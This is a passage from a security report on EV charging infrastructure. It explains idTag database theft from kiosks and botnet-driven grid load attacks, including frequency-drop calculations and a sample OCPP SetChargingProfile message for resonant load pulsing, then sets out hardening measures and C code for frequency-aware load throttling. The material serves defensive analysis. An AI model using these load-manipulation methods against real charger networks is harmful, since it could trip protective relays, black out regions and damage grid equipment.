If an attacker has physical root access or local code execution capabilities on one kiosk, extracting this database provides valid idTag strings that will be accepted by every other EVSE unit managed by the same CPMS platform. Furthermore, modifying the local SQLite database to insert arbitrary idTag values with status Accepted permits indefinite free charging on the compromised local kiosk while it operates in offline mode.

5. Grid-Scale Load Manipulation (MADIoT Attacks)

The centralization of EV charging management introduces systemic risks to modern power distribution networks. High-power DC fast charging hubs draw between $150\text{ kW}$ and $350\text{ kW}$ per vehicle. Multi-charger hubs routinely demand several megawatts ($\text{MW}$) of instantaneous load.

When thousands of EVSE units are connected to a single CPMS cloud or share common IoT management firmware, they become susceptible to Manipulation of Demand via IoT (MADIoT) attacks.

+-----------------------------------------------------------------------------------+
|                        Coordinated Load Attack Topology                           |
|                                                                                   |
|                     +---------------------------------------+                     |
|                     | Threat Actor / C2 Server              |                     |
|                     +-------------------+-------------------+                     |
|                                         |                                         |
|                                         | Injects malicious RemoteStart           |
|                                         | or setChargingProfile payload           |
|                                         v                                         |
|                     +---------------------------------------+                     |
|                     | Compromised CPMS / Botnet C2 Controller|                    |
|                     +-------------------+-------------------+                     |
|                                         |                                         |
|                 +-----------------------+-----------------------+                 |
|                 | Synchronized Websocket Broadcast Command      |                 |
|                 v                                               v                 |
|    +-------------------------+                     +-------------------------+    |
|    | EVSE Charging Hub A     |                     | EVSE Charging Hub B     |    |
|    | (Demand: 0 -> 2.5 MW)   |                     | (Demand: 0 -> 2.5 MW)   |    |
|    +------------+------------+                     +------------+------------+    |
|                 |                                               |                 |
|                 +-----------------------+-----------------------+                 |
|                                         v                                         |
|                        +---------------------------------+                        |
|                        | Regional High-Voltage Substation|                        |
|                        | Frequency Drop: f < 49.2 Hz     |                        |
|                        | Under-Frequency Relay Trip      |                        |
|                        +---------------------------------+                        |
+-----------------------------------------------------------------------------------+

5.1 Physics of Power Distribution Grids & Frequency Stability Math

Electrical power transmission networks in Europe operate at a nominal frequency of $f_0 = 50.0\text{ Hz}$. Grid stability requires continuous, instantaneous equilibrium between total active power generation $P_{\text{gen}}$ and total electrical load $P_{\text{load}}$.

The rotational dynamics of the synchronous grid are governed by the Swing Equation:

$$J \frac{d\omega}{dt} = T_{\text{mech}} - T_{\text{elec}} = \frac{P_{\text{gen}} - P_{\text{load}}}{\omega}$$

Where:

$J$ is the total aggregate rotational inertia of synchronous thermal and hydroelectric generators on the grid ($\text{kg}\cdot\text{m}^2$).
$\omega = 2\pi f$ is the mechanical angular frequency of the synchronous generators ($\text{rad/s}$).
$P_{\text{gen}}$ is the mechanical power input to generator shafts ($\text{W}$).
$P_{\text{load}}$ is the total electrical load connected to the grid ($\text{W}$).

Expressed in terms of systemic power imbalance $\Delta P = P_{\text{gen}} - P_{\text{load}}$, the Rate of Change of Frequency (ROCOF) is derived as:

$$\frac{df}{dt} = \frac{f_0 \cdot \Delta P}{2 H S_n}$$

Where $H$ is the grid inertia constant (typically between $2.0\text{ s}$ and $5.0\text{ s}$ for European grids) and $S_n$ is the total rated grid capacity ($\text{VA}$).

  Grid Frequency (Hz)
     50.0 +---------------------------------------------------------+ Nominal Grid Frequency
          |                                                         |
     49.8 | . . . . . . . . . . . . . . . . . . . . . . . . . . . . | Primary Containment Action (FCR)
          |                               \                         |
     49.2 | - - - - - - - - - - - - - - - - \ - - - - - - - - - - - | UFLS Stage 1 Relay Trip Threshold
          |                                  \                      |
     48.8 | - - - - - - - - - - - - - - - - - \ - - - - - - - - - - | UFLS Stage 2 Relay Trip Threshold
          |                                    \                    |
     47.5 +-------------------------------------\-------------------+ Total Grid Disconnection & Blackout
          0s                                    2s                 5s    Time (seconds)

If a botnet comprising $10,000$ high-power DC fast chargers (each operating at $150\text{ kW}$) is abruptly triggered to switch from idle ($0\text{ kW}$) to full output ($150\text{ kW}$) simultaneously, the aggregate step-change load added to the grid is:

$$\Delta P_{\text{load}} = 10,000 \times 150\text{ kW} = 1.5\text{ GW}$$

For a regional grid segment operating with an aggregate inertia capacity of $S_n = 30\text{ GW}$ and inertia constant $H = 3.0\text{ s}$, the initial Rate of Change of Frequency is:

$$\frac{df}{dt} = \frac{50.0\text{ Hz} \times (-1.5\text{ GW})}{2 \times 3.0\text{ s} \times 30\text{ GW}} = \frac{-75.0}{180.0} = -0.416\text{ Hz/s}$$

This severe drop causes grid frequency to plunge below the critical Under-Frequency Load Shedding (UFLS) threshold of $49.2\text{ Hz}$ in under two seconds. Automated protective relays trip distribution feeders, causing widespread blackouts.

5.2 Coordinated Botnet Execution Vectors

5.2.1 RemoteStartTransaction Step-Response Attack

An attacker holding administrative API credentials on a CPMS platform or controlling an infected firmware branch can issue a synchronized RemoteStartTransaction broadcast to all connected idle chargers with plugged-in vehicles. By specifying maximum current limits ($350\text{ kW}$) in the embedded chargingProfile payload, thousands of rectifiers energize simultaneously, creating a sharp step-change in grid demand.

5.2.2 Resonant Load Pulsing Attack

Rather than executing a single step-change, an attacker can oscillate grid demand by repeatedly toggling SetChargingProfile limits between $0\text{ kW}$ and $350\text{ kW}$ at a fixed frequency $f_{\text{pulse}}$.

[
  2,
  "msg_pulse_01",
  "SetChargingProfile",
  {
    "connectorId": 1,
    "csChargingProfiles": {
      "chargingProfileId": 501,
      "stackLevel": 1,
      "chargingProfilePurpose": "TxDefaultProfile",
      "chargingProfileKind": "Absolute",
      "chargingSchedule": {
        "chargingRateUnit": "W",
        "chargingSchedulePeriod": [
          { "startPeriod": 0, "limit": 350000 },
          { "startPeriod": 2, "limit": 0 }
        ]
      }
    }
  }
]

When $f_{\text{pulse}}$ matches the inter-area electromechanical oscillation frequency of the transmission grid (typically between $0.1\text{ Hz}$ and $0.8\text{ Hz}$), the load pulsing reinforces power swings across high-voltage transmission lines. This trips distance protection relays on interconnectors, splitting regional grids into unstable electrical islands.

5.2.3 Reactive Power ($Q$) Grid Instability Attacks

Modern smart inverters in DC fast chargers are capable of operating in all four power quadrants, injecting or absorbing reactive power ($VAR$). By issuing low-level commands over CAN bus or hacked firmware to force thousands of charger inverters to operate at a severely degraded power factor (e.g., $\cos \phi = 0.5$ capacitive), an attacker can induce severe localized voltage spikes ($V > 1.10\text{ p.u.}$) on local distribution transformers, tripping over-voltage protective equipment and physically damaging grid infrastructure.

6. Hardening Guidelines & Defensive Countermeasures

Securing EV charging infrastructure against physical, protocol, and grid-level attack vectors requires a comprehensive defense-in-depth architecture spanning embedded hardware, cryptographic identity, and network operations.

+-----------------------------------------------------------------------------------+
|                        Multi-Layer Defensive Architecture                         |
|                                                                                   |
|  +-----------------------------------------------------------------------------+  |
|  | Layer 1: Hardware & Physical Security                                       |  |
|  | * Disable JTAG/UART via eFuses  * Potting PCBs with non-removable epoxy     |  |
|  | * TPM 2.0 / Secure Element      * Tamper-evident enclosure switches        |  |
|  +-----------------------------------------------------------------------------+  |
|  | Layer 2: Bus & Internal Communications                                      |  |
|  | * Modbus-TCP over TLS 1.3       * CANsec / Encrypted CAN-FD frames          |  |
|  | * DM-Verity signed rootfs       * Encrypted storage partitions (LUKS)       |  |
|  +-----------------------------------------------------------------------------+  |
|  | Layer 3: Transport & Protocol Security                                      |  |
|  | * Enforce OCPP Security Profile 3 (mTLS with TPM-backed X.509 certs)         |  |
|  | * Cryptographic firmware signature verification (RSA-4096 / ECDSA P-256)      |  |
|  | * ISO 15118 Plug & Charge PKI with hardware key storage                     |  |
|  +-----------------------------------------------------------------------------+  |
|  | Layer 4: Grid Mitigation & Rate Control                                     |  |
|  | * Firmware-level randomized start delays: T_delay ~ U(0, 60s)                |  |
|  | * Autonomous ROCOF frequency-monitoring load throttling                       |  |
|  +-----------------------------------------------------------------------------+  |
+-----------------------------------------------------------------------------------+

6.1 Comprehensive Security Matrix

Subsystem Domain	Vulnerability Vectors	Mitigation Standards	Implementation Mechanics
Transport Layer	OCPP Downgrade to Profile 1, Plaintext WS Eavesdropping	OCPP Security Profile 3 (mTLS)	Enforce mutual TLS 1.3 with X.509 client certificates generated inside a TPM 2.0 hardware security chip.
Charger Authentication	Basic Auth Credential Reuse, URI ID Spoofing	Hardware-Bound Identity	CPMS must enforce strict validation pairing client certificate Common Name (CN) with WebSocket connection URI.
Hardware Interfaces	UART Root Shell, JTAG Memory Dump	Hardware Disabling & Secure Boot	Blow internal SoC eFuses (`JTAG_DISABLE`, `UART_BOOT_DISABLE`). Implement ARM TrustZone HAB signed boot images.
Internal Telemetry	RS-485 Modbus Telemetry Spoofing, Billing Fraud	Encrypted Internal Bus	Replace raw RS-485 Modbus RTU with Modbus-TCP over TLS or append HMAC-SHA256 signatures to serial data blocks.
DC Fast Charging Bus	CAN Bus Frame Injection, UDS Contactor Override	CANsec & ISO 21434 Cybersecurity	Implement CANsec (AUTOSAR SecOC) message authentication on CAN frames to reject unauthenticated diagnostic commands.
User Authentication	MIFARE Classic Crypto1 Key Recovery & UID Cloning	ISO 14443-4 DESFire EV2/EV3 & ISO 15118	Deprecate raw UID matching. Require encrypted AES-128 sector validation or ISO 15118 PnC ECDSA contract verification.
Firmware OTA	Unsigned Binary Update Injection via `UpdateFirmware`	Signed Firmware Packages	Enforce ECDSA P-256 / RSA-4096 signature verification prior to unpacking updates; roll back on validation failure.
Power Grid Interface	Synchronized MADIoT Step Load Attack	Firmware Randomized Delays	Mandate randomized start delays ($T_{\text{delay}} \sim U(0, 60\text{s})$) before executing remote start or power increase commands.

6.2 Implementation of Firmware-Level Grid Protection Algorithms

To neutralize grid-scale step-change attacks, EVSE firmware must implement autonomous frequency monitoring and randomized start delays independently of central CPMS instructions.

C Implementation of ROCOF-Aware Load Throttling:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <time.h>
 
#define NOMINAL_FREQUENCY_HZ 50.0f
#define UFLS_THRESHOLD_HZ    49.5f
#define CRITICAL_ROCOF_LIMIT -0.2f // Hz per second
 
typedef struct {
    float current_frequency_hz;
    float previous_frequency_hz;
    double last_sample_timestamp_sec;
    uint32_t active_power_limit_watts;
    uint32_t max_hardware_power_watts;
    bool charging_active;
} EVSE_GridGuard_State;
 
// Execute randomized delay during RemoteStart execution
void execute_randomized_grid_delay(uint32_t max_delay_seconds) {
    struct timespec ts;
    clock_gettime(CLOCK_REALTIME, &ts);
    srand((unsigned int)(ts.tv_nsec ^ ts.tv_sec));
    
    uint32_t random_delay = rand() % (max_delay_seconds + 1);
    printf("[GRID_GUARD] Delaying session start by %u seconds to protect local grid stability...\n", random_delay);
    sleep(random_delay);
}
 
// Autonomous safety check executed every 100ms by Real-Time Charge Controller
void process_grid_frequency_safety(EVSE_GridGuard_State *state, float fresh_freq_reading, double current_time_sec) {
    double delta_t = current_time_sec - state->last_sample_timestamp_sec;
    if (delta_t <= 0.0) return;
 
    float rocof = (fresh_freq_reading - state->previous_frequency_hz) / (float)delta_t;
    
    state->previous_frequency_hz = state->current_frequency_hz;
    state->current_frequency_hz = fresh_freq_reading;
    state->last_sample_timestamp_sec = current_time_sec;
 
    // Emergency Autonomous Load Shedding
    if (fresh_freq_reading < UFLS_THRESHOLD_HZ || rocof < CRITICAL_ROCOF_LIMIT) {
        printf("[CRITICAL] Grid frequency drop detected! Freq: %.2f Hz, ROCOF: %.3f Hz/s. Throttling output to 0W.\n", 
               fresh_freq_reading, rocof);
        state->active_power_limit_watts = 0;
        // Trigger hardware PWM duty cycle reduction to 0% (State B)
    } else if (fresh_freq_reading >= NOMINAL_FREQUENCY_HZ && state->active_power_limit_watts < state->max_hardware_power_watts) {
        // Ramp back up gradually
        state->active_power_limit_watts += 5000; // Ramp up by 5 kW steps
        if (state->active_power_limit_watts > state->max_hardware_power_watts) {
            state->active_power_limit_watts = state->max_hardware_power_watts;
        }
    }
}

By enforcing firmware-level randomization ($T_{\text{delay}} \sim U(0, 60\text{s})$) and local frequency-sensing load control, EV charging infrastructure operators can eliminate the synchronization required for MADIoT botnet attacks, safeguarding both individual charging assets and municipal power grids.